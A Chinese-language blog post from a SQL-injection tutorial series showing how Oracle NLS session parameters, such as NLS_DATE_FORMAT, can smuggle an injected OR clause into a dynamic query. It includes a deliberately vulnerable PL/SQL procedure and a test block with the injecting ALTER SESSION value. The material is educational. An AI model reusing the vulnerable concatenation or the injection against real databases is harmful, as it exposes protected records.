反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換

LuiseDalian發表於2014-02-16

使用NLS會話引數來修改或注入SQL語句。

一個日期或數值連線到動態SQL語句文字中的時候一定會被轉換成為VARCHAR2資料型別。這個轉換可能是隱式的或顯式的。資料型別轉換依賴於資料庫會話引數NLS_

日期轉換格式化模板依賴於NLS_DATE_FORMAT, NLS_TIMESTAMP_FORMATNLS_TIMESTAMP_TZ_FORMAT

具體依賴於哪一種取決於日期資料型別。數值的轉換依賴於引數NLS_NUMERIC_CHARACTERS

例如:日期的轉換模型是”text”,則text會被複制到轉換結果中。

NLS_DATE_FORMAT = '"Month:" Month',則6月時,to_char的轉換結果為’Month: June’

--插入之前刪除的資料

hr@TESTDB11>INSERT INTO secret_records VALUES ('Chuck', 'Merger', 'Buy company XYZ', SYSDATE);

--確定資料

hr@TESTDB11>select * from secret_records;

USER_NAME SERVICE_TYPE VALUE                          DATE_CREA

--------- ------------ ------------------------------ ---------

Andy      Waiter       Serve dinner at Cafe Pete      15-FEB-14

Chuck     Merger       Buy company XYZ                15-FEB-14

-- 11g12_07_11.prc

CREATE OR REPLACE PROCEDURE get_recent_record (user_name IN VARCHAR2,

service_type IN  VARCHAR2, rec OUT VARCHAR2)

IS

    query VARCHAR2(4000);

BEGIN

    --檢視傳遞進來的引數

    DBMS_OUTPUT.PUT_LINE('parameter user_name: ' || user_name);

    DBMS_OUTPUT.PUT_LINE('parameter service_type: ' || service_type);

   

--下面的語句容易受修改的攻擊,因為where子句是使用連線來構造的,並且sysdate依賴於NLS_DATE_FORMAT引數的值

    query := 'SELECT value FROM secret_records WHERE user_name='''

           || user_name

           || ''' AND service_type='''

           || service_type

           || ''' AND date_created>'''

           || (SYSDATE - 30)

           || '''';

    DBMS_OUTPUT.PUT_LINE('查詢: ' || query);

    EXECUTE IMMEDIATE query INTO rec;

    DBMS_OUTPUT.PUT_LINE('結果: ' || rec);

END;

-- 11g12_07_11.tst

DECLARE

    record_value VARCHAR2(4000);

BEGIN

    --沒有SQL注入

    --get_recent_record('Andy', 'Waiter', record_value);

    --SQL注入,先要修改會話引數設定

--ALTER SESSION SET NLS_DATE_FORMAT='"'' OR service_type=''Merger"';

--檢視修改後的NLS_DATE_FORMAT引數的設定

-- select * from nls_session_parameters where parameter = 'NLS_DATE_FORMAT';

    get_recent_record('Andy', 'Anything', record_value);

END;

 

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/17013648/viewspace-1082020/,如需轉載,請註明出處,否則將追究法律責任。

相關文章